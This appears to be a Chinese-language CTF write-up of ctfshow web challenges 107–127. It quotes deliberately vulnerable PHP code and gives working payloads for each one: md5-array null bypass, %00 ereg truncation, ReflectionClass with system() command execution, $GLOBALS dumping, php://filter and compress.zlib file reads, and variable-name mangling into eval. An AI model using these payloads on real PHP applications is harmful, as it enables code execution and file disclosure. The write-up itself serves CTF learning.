Web107
parse_str函式
將前字串解析到後邊,實現變數的覆蓋
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
傳入v3為v3[] = 1,則md5返回為null,因此可以傳入任意的v1,v2[flag]也為null
Web108
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
ereg()函式用指定的模式搜尋一個字串中指定的字串,如果匹配成功返回true,否則,則返回false。搜尋字母的字元是大小寫敏感的,
strrev() 函式反轉字串
intval() 函式用於獲取變數的整數值
首先需要知道%00可以截斷ereg()函式的搜尋,正規表示式只會匹配%00之前的內容;
0x36d的十進位制內容為877,我們需要字母在前來滿足if條件的正則匹配來跳過if語句,接著再進行字串的反轉得到877a,接著intval()函式取整數部分得到877所以payload為
?c=a%00778
Web109
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
ReflectionClass 或者 ReflectionMethod 都為常用的反射類,可以理解為一個類的對映
payload:
v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("tac fl36dg.txt")
Web110
FilesystemIterator迭代器
利用 FilesystemIterator 獲取指定目錄下的所有檔案
getcwd()函式 獲取當前工作目錄
echo new FilesystemIterator(getcwd()); //預設只顯示第一個檔案,需要遍歷
可以檢視存在的檔案,之後在url裡訪問得到的falg檔名稱。
Web111($Globals)
首選需要v1含有ctfshow才能過正則,執行getflag函式,所以v1=ctfshow,接著再getflag函式里,會把v2的地址傳給v1,接著再輸出v1,這裡我們可以使用php裡的全域性變數GLOBALS
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
$GLOBALS — 引用全域性作用域中可用的全部變數 一個包含了全部變數的全域性組合陣列。變數的名字就是陣列的鍵。
因此構造payload為v1=ctfshow&v2=GLOBALS
Web112&Web114
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
這裡is_file進行判斷,需要file為非檔案型別才可以繞過判斷,使用php偽協議,
php://filter/resource=flag.php 即可繞過檢視flag.php
Web113
過濾了filter過濾器
多過濾了filter上一題的不能在繼續使用,可以使用hint中的那個解法和上一題中的compress.zlib://flag.php
payload:
?file=compress.zlib://flag.php
Web114
在php中"36"是等於"\x0c36"的,同時trim也不會過濾掉\x0c也就是%0c,提交payload: /?num=%0c36
此時$num不等於36,且為數字,trim以後也不等於36,且'\x0c36'=='36'
Web123
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
在php中變數命名中我們是不能傳入[、空格 +的。如果有則會被轉化為_
所以按理來說我們構造不出CTF_SHOW.COM
這個變數(因為含有.
),
但php中有個特性就是如果傳入[
,它被轉化為_
之後,後面的字元就會被保留下來不會被替換
所以後面的.就可以使用了
因此我們可以post CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
Web125
和上一道題一樣,多過濾了echo 和flag 我們可以利用可以新建一個檔案其轉折作用
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
?1=flag.php
Web126(未做)
過濾了很多字母 highlight無法使用
這裡使用了
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
Web127
extract() 函式從陣列中將變數匯入到當前的符號表,使用陣列鍵名作為變數名,使用陣列鍵值作為變數值
舉例就是?a=2,就會變成$a=2,這裡ctf_show有個_需要構造,前面說過php中變數名只有數字字母下劃線,被get或者post傳入的變數名,如果含有空格、+、[則會被轉化為_,這裡空格沒有被ban,所以我們就使用空格,payload為
?ctf show=ilove36d